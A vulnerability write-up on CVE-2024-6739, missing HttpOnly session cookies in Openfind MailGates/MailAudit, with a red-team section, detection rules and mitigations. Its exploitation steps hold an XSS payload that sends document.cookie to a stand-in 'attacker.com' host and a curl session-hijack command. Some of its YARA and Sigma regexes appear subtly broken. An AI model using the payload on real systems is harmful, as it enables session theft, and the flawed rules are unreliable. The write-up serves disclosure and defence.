CVE-2024-6739

Executive Summary

CVE-2024-6739 is a medium-severity vulnerability affecting Openfind MailGates and MailAudit products. The core issue is that the session cookie lacks the HttpOnly flag, making it accessible to client-side scripts. This allows an attacker who successfully executes a Cross-Site Scripting (XSS) attack to steal the session cookie and hijack authenticated user sessions. The vulnerability has a CVSS score of 5.3, indicating moderate risk, but its impact is amplified when combined with other attack vectors. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects proprietary software from Openfind, specifically their MailGates and MailAudit products. The risk is limited to organizations using these specific email security appliances.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): None – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The exploit cannot affect other components.
• Confidentiality (C): Low – Session cookie theft leads to limited data exposure.
• Integrity (I): Low – Session hijacking can allow limited data modification.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the combination with XSS makes this a serious concern for organizations using these products. The lack of a patch increases the risk.

Deep Dive & Mechanics

The vulnerability lies in the session cookie configuration of Openfind MailGates and MailAudit. The HttpOnly flag is a security attribute that prevents client-side scripts (e.g., JavaScript) from accessing the cookie. Without this flag, the cookie is accessible via document.cookie in the browser.

Attack Scenario:

1. An attacker identifies a Cross-Site Scripting (XSS) vulnerability in the same application (or a related component) that allows arbitrary JavaScript execution.
2. The attacker crafts a malicious payload that reads document.cookie and exfiltrates the session cookie to an attacker-controlled server.
3. The victim visits the malicious page or clicks a crafted link, executing the XSS payload.
4. The attacker captures the session cookie and uses it to impersonate the victim, gaining unauthorized access to the MailGates/MailAudit web interface.

Technical Details:

• The session cookie is set without the HttpOnly flag.
• The cookie is likely used for authentication and session management.
• The vulnerability does not require authentication to exploit, but it does require user interaction (e.g., clicking a link).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable configuration.

Vulnerable Configuration (Example in PHP):

// Vulnerable: HttpOnly flag not set
setcookie("session_id", $session_id, time() + 3600, "/", "", false, false);

Patched Configuration (Expected):

// Patched: HttpOnly flag set to true
setcookie("session_id", $session_id, time() + 3600, "/", "", false, true);

The fix is straightforward: ensure the HttpOnly flag is set to true when creating the session cookie. This prevents client-side scripts from accessing the cookie.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A vulnerable instance of Openfind MailGates or MailAudit.
• An XSS vulnerability in the same application (or a way to inject JavaScript).
• A listener to capture exfiltrated cookies (e.g., a simple HTTP server).

Step-by-Step Exploitation:

1. Identify XSS Vector: Find an input field or URL parameter that reflects user input without proper sanitization.
2. Craft Payload: Create a JavaScript payload that reads the session cookie and sends it to your server.

   // Payload to exfiltrate session cookie
   var img = new Image();
   img.src = "http://attacker.com/steal?cookie=" + document.cookie;
   

3. Deliver Payload: Send the malicious link to the victim (e.g., via email or social engineering).
4. Capture Cookie: Monitor your server for incoming requests containing the cookie.
5. Session Hijacking: Use the captured cookie to access the MailGates/MailAudit web interface.

   # Using curl to hijack session
   curl -b "session_id=CAPTURED_COOKIE" http://target.com/mailgates/admin
   

Blue Team (Defender)

Detection and Response:

1. Monitor for XSS Attempts: Look for unusual input patterns in web logs (e.g., <script>, onerror, javascript:).
2. Check Cookie Attributes: Use browser developer tools or a proxy to inspect the Set-Cookie header for the HttpOnly flag.

   # Using curl to check cookie attributes
   curl -I http://target.com/mailgates/login | grep -i "set-cookie"
   

3. Implement WAF Rules: Deploy Web Application Firewall (WAF) rules to block common XSS payloads.
4. User Education: Train users to avoid clicking suspicious links and to report unusual behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains containing cookie= in the query string.
  • Unusual referrer headers pointing to attacker-controlled domains.
• Host IOCs:
  • Unexpected JavaScript execution in the browser (visible via browser console or debugger).
  • Modified session cookies in browser storage.
• Log IOCs:
  • Web server logs showing requests with <script> tags or onerror handlers.
  • Authentication logs showing multiple sessions from the same IP address.

Detection Engineering

YARA Rule

rule Detect_Missing_HttpOnly_Cookie {
    meta:
        description = "Detects missing HttpOnly flag in Set-Cookie headers"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-6739"
    strings:
        $cookie_header = /Set-Cookie:\s*[^;]+;\s*[^;]*\bHttpOnly\b/i nocase
        $no_httponly = /Set-Cookie:\s*[^;]+(?:;\s*[^;]*)*\s*(?!.*\bHttpOnly\b)/i nocase
    condition:
        $no_httponly and not $cookie_header
}

Sigma Rule

title: Missing HttpOnly Flag in Session Cookie
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP responses where the session cookie lacks the HttpOnly flag.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6739
logsource:
    category: webserver
    product: generic
detection:
    selection:
        response_header|contains: "Set-Cookie"
        response_header|re: "Set-Cookie:\\s*[^;]+(?:;\\s*[^;]*)*\\s*(?!.*\\bHttpOnly\\b)"
    condition: selection
falsepositives:
    - Legitimate applications that intentionally omit HttpOnly for specific cookies
level: medium
tags:
    - attack.t1190
    - cve.2024.6739

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6739 - Missing HttpOnly Flag in Session Cookie"; flow:to_client; content:"Set-Cookie"; nocase; pcre:"/Set-Cookie:\s*[^;]+(?:;\s*[^;]*)*\s*(?!.*\bHttpOnly\b)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Vendor Patch: Contact Openfind support for a patch or update that sets the HttpOnly flag on session cookies.
2. Manual Workaround: If patching is not possible, configure the web server or application to add the HttpOnly flag to all session cookies. This may require modifying the application code or using a reverse proxy.
   • Apache (mod_headers):

     Header edit Set-Cookie ^(.*)$ $1;HttpOnly
     

   • Nginx (ngx_http_headers_module):

     add_header Set-Cookie "session_id=$cookie_session_id; HttpOnly";
     

3. Implement XSS Protections: Deploy Content Security Policy (CSP) headers to mitigate XSS attacks.

   Content-Security-Policy: default-src 'self'; script-src 'self'
   

4. Monitor and Audit: Regularly review web server logs for signs of XSS attempts or cookie theft.

Long-Term Recommendations:

• Conduct a security audit of all web applications to ensure proper cookie attributes (HttpOnly, Secure, SameSite).
• Implement a Web Application Firewall (WAF) with XSS detection capabilities.
• Train developers on secure coding practices, including proper cookie configuration.

Valters IT
Securing Digital Frontiers